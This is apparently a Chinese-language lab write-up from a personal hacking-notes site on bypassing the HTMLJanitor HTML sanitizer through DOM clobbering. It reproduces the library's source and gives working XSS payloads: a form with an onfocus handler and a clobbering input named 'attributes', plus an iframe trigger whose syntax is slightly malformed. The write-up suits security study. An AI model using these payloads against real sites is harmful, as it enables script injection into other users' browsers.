> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/dom/html-filter-bypass-via-dom-clobbering.md).

# 通过 DOM 克隆劫持绕过 HTML 过滤器

### 通过篡改 DOM 属性绕过 HTML 过滤器

利用以下中的一个弱点 **HTMLJanitor** 库（由 `loadCommentsWithHtmlJanitor`）通过以下方式绕过 HTML 过滤： **DOM 篡改** 并强制 `print()` 在受害者的浏览器中执行。自动执行可能需要使用攻击服务器。

该页面使用 **HTMLJanitor** 来清理用户 HTML。清理器：

<figure><img src="/files/3760d1d87471c20152eaa8821a4d6e08b0960926" alt=""><figcaption></figcaption></figure>

* 创建一个沙盒文档（`document.implementation.createHTMLDocument('')`）并注入要清理的 HTML；
* 通过以下方式遍历树： `TreeWalker` 并对节点和属性应用过滤规则；
* 删除注释并拆解某些未授权项目，在标签被拒绝时重新插入子节点；
* 根据以下内容验证属性： `config.tags` 配置，并移除未授权的属性。

```javascript
(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
    define('html-janitor', factory);
  } else if (typeof exports === 'object') {
    module.exports = factory();
  } else {
    root.HTMLJanitor = factory();
  }
}(this, function () {

  /**
   * @param {Object} config.tags 允许的标签字典。
   * @param {boolean} config.keepNestedBlockElements 默认值为 false。
   */
  function HTMLJanitor(config) {

    var tagDefinitions = config['tags'];
    var tags = Object.keys(tagDefinitions);

    var validConfigValues = tags
      .map(function(k) { return typeof tagDefinitions[k]; })
      .every(function(type) { return type === 'object' || type === 'boolean' || type === 'function'; });

    if(!validConfigValues) {
      throw new Error("配置无效");
    }

    this.config = config;
  }

  var blockElementNames = ['P', 'LI', 'TD', 'TH', 'DIV', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'PRE'];
  function isBlockElement(node) {
    return blockElementNames.indexOf(node.nodeName) !== -1;
  }

  var inlineElementNames = ['A', 'B', 'STRONG', 'I', 'EM', 'SUB', 'SUP', 'U', 'STRIKE'];
  function isInlineElement(node) {
    return inlineElementNames.indexOf(node.nodeName) !== -1;
  }

  HTMLJanitor.prototype.clean = function (html) {
    const sandbox = document.implementation.createHTMLDocument('');
    const root = sandbox.createElement("div");
    root.innerHTML = html;

    this._sanitize(sandbox, root);

    return root.innerHTML;
  };

  HTMLJanitor.prototype._sanitize = function (document, parentNode) {
    var treeWalker = createTreeWalker(document, parentNode);
    var node = treeWalker.firstChild();

    if (!node) { return; }

    do {
      if (node.nodeType === Node.TEXT_NODE) {
        // 如果这个文本节点只是空白，并且前一个或后一个元素
        // 兄弟节点是块级元素，则将其移除
        // 注意：这个启发式规则可能会改变。非常特定于以下问题：
        // Firefox 中的 `contenteditable`：http://jsbin.com/EyuKase/1/edit?js,output
        // FIXME：把这做成一个选项？
        if (node.data.trim() === ''
            && ((node.previousElementSibling && isBlockElement(node.previousElementSibling))
                 || (node.nextElementSibling && isBlockElement(node.nextElementSibling)))) {
          parentNode.removeChild(node);
          this._sanitize(document, parentNode);
          break;
        } else {
          continue;
        }
      }

      // 删除所有注释
      if (node.nodeType === Node.COMMENT_NODE) {
        parentNode.removeChild(node);
        this._sanitize(document, parentNode);
        break;
      }

      var isInline = isInlineElement(node);
      var containsBlockElement;
      if (isInline) {
        containsBlockElement = Array.prototype.some.call(node.childNodes, isBlockElement);
      }

      // 块级元素不应嵌套（例如 <li><p>...）；如果
      // 它们确实嵌套了，我们希望展开内部的块级元素。
      var isNotTopContainer = !! parentNode.parentNode;
      var isNestedBlockElement =
            isBlockElement(parentNode) &&
            isBlockElement(node) &&
            isNotTopContainer;

      var nodeName = node.nodeName.toLowerCase();

      var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);

      var isInvalid = isInline && containsBlockElement;

      // 根据白名单完全丢弃标签 *并且* 如果标记
      // 是无效的。
      if (isInvalid || shouldRejectNode(node, allowedAttrs)
          || (!this.config.keepNestedBlockElements && isNestedBlockElement)) {
        // 不保留 SCRIPT/STYLE 元素的内部文本。
        if (! (node.nodeName === 'SCRIPT' || node.nodeName === 'STYLE')) {
          while (node.childNodes.length > 0) {
            parentNode.insertBefore(node.childNodes[0], node);
          }
        }
        parentNode.removeChild(node);

        this._sanitize(document, parentNode);
        break;
      }

      // 清理属性
      for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // 调整数组以继续循环。
          a = a - 1;
        }
      }

      // 清理子节点
      this._sanitize(document, node);

    } while ((node = treeWalker.nextSibling()));
  };

  function createTreeWalker(document, node) {
    return document.createTreeWalker(node,
                                     NodeFilter.SHOW_TEXT | NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT,
                                     null, false);
  }

  function getAllowedAttrs(config, nodeName, node){
    if (typeof config.tags[nodeName] === 'function') {
      return config.tags[nodeName](node);
    } else {
      return config.tags[nodeName];
    }
  }

  function shouldRejectNode(node, allowedAttrs){
    if (typeof allowedAttrs === 'undefined') {
      return true;
    } else if (typeof allowedAttrs === 'boolean') {
      return !allowedAttrs;
    }

    return false;
  }

  function shouldRejectAttr(attr, allowedAttrs, node){
    var attrName = attr.name.toLowerCase();

    if (allowedAttrs === true){
      return false;
    } else if (typeof allowedAttrs[attrName] === 'function'){
      return !allowedAttrs[attrName](attr.value, node);
    } else if (typeof allowedAttrs[attrName] === 'undefined'){
      return true;
    } else if (allowedAttrs[attrName] === false) {
      return true;
    } else if (typeof allowedAttrs[attrName] === 'string') {
      return (allowedAttrs[attrName] !== attr.value);
    }

    return false;
  }

  return HTMLJanitor;

}));
```

* 原理：注入一个 HTML 片段，用来创建或覆盖页面脚本所期望的项目 ID（例如一个 `<form id="x" tabindex=0 onfocus=...>`）。通过操纵导航（hash `#x`）或强制聚焦，会触发事件属性。

```html
<html>
<form id=x tabindex=0 onfocus=alert(0)>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/537cc87e893e11fbb10c0a55a8123b2dc9496664" alt=""><figcaption></figcaption></figure>

* 目标的最终变体（`print()`):

```html
<html>
<form id=x tabindex=0 onfocus=print()>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/9861dc37215b16dcdb5c706622ea6c3b00f27135" alt=""><figcaption></figcaption></figure>

* 通过攻击服务器托管的 iframe 自动触发：iframe 加载易受攻击的页面，然后修改其 `src` 以添加 `#x`，从而导致聚焦并执行 `onfocus` 处理程序。使用攻击服务器的思路示例：

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a790035036b319583a1731200e90039.web-security-academy.net/post?postId=9 onload="setTimeout() => this.src += '#x',500;></iframe>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/dom/html-filter-bypass-via-dom-clobbering.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
